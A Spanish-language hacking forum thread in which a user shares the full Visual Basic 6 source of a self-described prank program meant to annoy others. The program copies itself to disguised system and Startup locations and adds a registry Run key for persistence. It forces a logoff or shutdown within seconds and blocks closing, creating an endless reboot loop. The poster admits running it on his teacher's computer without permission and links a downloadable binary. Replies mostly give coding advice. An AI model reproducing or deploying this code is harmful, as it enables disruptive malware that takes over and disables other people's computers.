Hola a todos n.n
hace rato no posteo en el foro porque bueno surgio algun que otro inconveniente (vacaciones)
pero bueno para que vean que estoy a full (? les traje mi primer programa en VB :)
primero que nada quiero aclararles que solo voy a dejar el codigo porque no se a donde subir el programa u.u si alguien me ayuda lo subo :)
y segundo si a alguien se le ocurre probar mi programa para ver que tal anda le recomiendo que lo haga en una maquina virtual o algo de eso :B
Private Declare Function ExitWindowsEx Lib "User32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Option Explicit
Private Const RAMA_REGISTRO As String = _
"HKEY_CURRENT_USER\Software\" & _
"Microsoft\Windows\CurrentVer" & _
"sion\Policies\System\DisableTaskmgr"
Dim hora As Date
Dim horafinal As Date
Dim HoraLimite As Date
Private Function Verificar_Existe(path) As Boolean
If Len(Trim$(Dir$(path))) Then
Verificar_Existe = True
FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores.exe"
FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores\Cursors.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system32\System32help.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Codigo.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Copia.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system\Systemhelp.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico.exe"
FileCopy "C:\WINDOWS\Cursores.exe", "C:\Documents and Settings\All Users\Escritorio\LunaHAck.exe"
FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico2.exe"
FileCopy "C:\WINDOWS\Cursores.exe", "C:\WINDOWS\Cursores\Cursors.exe"
End If
End Function
Private Sub Form_Load()
HoraLimite = "00:00:30"
Timer1.Interval = 1000
horafinal = Time + HoraLimite
Shell "Shutdown -t 10 -l "
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\WINDOWS\Cursores.exe /f "
Call Verificar_Existe("c:\LunaHAck.exe ")
End Sub
Private Sub Salir1_Click()
MsgBox "Este no es el boton para salir"
End Sub
Private Sub Salir2_Click()
MsgBox "Con este boton tampoco se sale"
End Sub
Private Sub Salir3_Click()
MsgBox "No, Este tampoco lo es"
End Sub
Private Sub Timer1_Timer()
If horafinal < Time Then
Dim i As Integer
i = ExitWindowsEx(0, 0&)
Timer1.Enabled = False
Exit Sub
End If
Label1 = Format(horafinal - Time, "HH:MM:SS")
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = True
End Sub
Se que de seguro esta todo mal acomodado pero bueno como dice el titulo este es mi PRIMER PROGRAMA :)
Saludos :)
P/D: no creo que le sirva a nadie pero siempre es bueno experimentar en el campo de la programacion :)
Edit: me olvide de decirles el programa esta echo con el fin de joder a otras personas haciendo que la maquina se les reinicie continuamente xD
Que lastima que tu primer programa sea un intento de malware xD
Esperemos que el segundo sea de otra cosa ;)
En realidad es el segundo el primero es un programa que contraresta este :B pero la secuencia es muy basica (A)
Pero aprende a crear cosas basicas primero, aprende a crear un Notepad por ejemplo con opciones nuevas que se te ocurran asi aprendes a usar menus por ejemplo, o crea un Tres en rayas ( ta-te-ti) para aprender a hacer matrices de controles, yo q se
La verdad que si, puedes hacer muuuchas cosas que no sean malware y aprender de ellas, aunque tambien del malware se aprende :silbar:
@ $Edu$. Me recuerda a alguien que queria hacer un gato con sockets :silbar:
Lo que no entiendo es como hacés para q la victima tenga el LunaHAck.exe en c:\...
Al ejecutar esto chequea q tengas ese archivo y si está lo manda a carpetas más disimuladas y desactiva el taskmgr.exe, nada más?
Podrías haberlo hecho en .bat esto, no había necesidad de vb6.
Lo que pasa es que yo tenia acceso a la computadora de mi profesor entonces lo puse en el C :B
y lo que hace es ejecutar el programa
copia el programa en masomenos 7 ubicaciones
bloquea el AMD de tareas :B
modifica el registro de windows para que el programa se abra junto a windows n.n
y hace que al abrir el programa la computadora se apague en 30 segundos :)
en resumen se prende la computadora inicia el programa reinicia la computadora se prende la computadora se inicia el programa y blablabla asi continuamente xD
a todos gracias por sus consejos :) vere que puedo hacer y quiero preguntarles si alguien sabe como hacer que el programa tenga un aspecto mas amigable xD (botones estilo win7 o winxp no ese que parece win98 xD) desde ya gracias :)
HOLA!!!
Revisa mi BLOQUEO DE PANTALLA. (http://foro.elhacker.net/empty-t322438.0.html)
GRACIAS POR LEER!!!
Cita de: 79137913 en 20 Julio 2011, 20:25 PM
HOLA!!!
Revisa mi BLOQUEO DE PANTALLA. (http://foro.elhacker.net/empty-t322438.0.html)
GRACIAS POR LEER!!!
Hola e.e
sisi ya lo habia revisado y bajado y no me funciono bien onda como que no estaban bloqueado los atajos de teclado entonces podia pasar entre ventanas xD igual despues lo pruevo con mas detenimiento :)
agradeceria que me des una opinion sobre mi programa xD
igual el tuyo me impulso a continuarlo (estaba medio rendido xD )
HOLA!!!
Hay lineas comentadas que tenes que "descomentar".
GRACIAS POR LEER!!!
En mi programa o en el tuyo? :|
CitarLo que pasa es que yo tenia acceso a la computadora de mi profesor entonces lo puse en el C :B
y lo que hace es ejecutar el programa
copia el programa en masomenos 7 ubicaciones
bloquea el AMD de tareas :B
modifica el registro de windows para que el programa se abra junto a windows n.n
y hace que al abrir el programa la computadora se apague en 30 segundos
en resumen se prende la computadora inicia el programa reinicia la computadora se prende la computadora se inicia el programa y blablabla asi continuamente xD
xD jajaja ¿que te hizo ese profe pa que le hagas eso?
duda:
el ejemplo que hay en la apiguide y en recursosvisualbasic sobre esta api "exitwindowsex" no funcionaron cuando las probe pero tu code si logra apagar o cerrar sesion de windows ¿por que sera?
Cita de: AlxSpy en 23 Julio 2011, 06:03 AM
xD jajaja ¿que te hizo ese profe pa que le hagas eso?
xD mira te cuento como es la cosa e.e yo con ese profe tenia... mejor dicho tengo que hacer un trabajo para feria de ciencias xD y bueno digamos que el profe tiene 2 computadoras en esa aula cuando digo 2 me refiero a dos que andan muy bien xD una tiene linux y la otra winxp yo tenia que usar la de XP y una persona tenia un programa que hacia lo mismo que el que postee el profesor estubo 2 horas para intentar sacar el programa y no pudo xD yo me sente aplique un poco de logica y lo pude resolver en unos minutos no te digo 2 o 3 pero 15 minutos o 30 e.e y lamentablemente ya se habia terminado el tiempo u.u asi que le jure al profesor que iba a crear un programa mucho mas potente e.e y bueno cree esto que es como la contra xD tenia que probarlo en algo mas que mi compu asi que lo hice en la del profe xD
Curiosidad: casualmente despues de mostrarle el programa el profe estaba tan facinado que ahora tengo que participar con el chabon que hizo el otro programa en una olimpiada de programacion xD eso es ironia xD
Cita de: AlxSpy en 23 Julio 2011, 06:03 AM
xD jajaja ¿que te hizo ese profe pa que le hagas eso?
duda:
el ejemplo que hay en la apiguide y en recursosvisualbasic sobre esta api "exitwindowsex" no funcionaron cuando las probe pero tu code si logra apagar o cerrar sesion de windows ¿por que sera?
a mi tampoco me funciono eso, asi que pregunte aca en el foro xD
te dejo el link para que mires :)
http://foro.elhacker.net/programacion_visual_basic/ayuda_para_apagar_la_compu_en_vb-t333131.0.html;msg1637938#msg1637938
fijate la respuesta de raul388 :) yo lo saque de ahi y ahi recien me funco xD
@79137913
para tu bloqueado se me ocurre usar OpenGL + el bloqueo de teclas para windows, si no mal recuerdo eso no hace efecto en OpenGL.
Dulces Lunas!¡.
Al fin tube algo de tiempo y subi el programa a un host :B
ES SOLO EL PROGRAMA EL CODIGO LO DEJE MAS ARRIBA e.e
http://www.mediafire.com/?6tyhjjk6jjdip3o
vale acalarar que hay que descomprimirlo en el C xD
Empieza por lo básico amigo, sino no llegarás a nada...
@calk9
¿Basico? ¿que es basico para vos?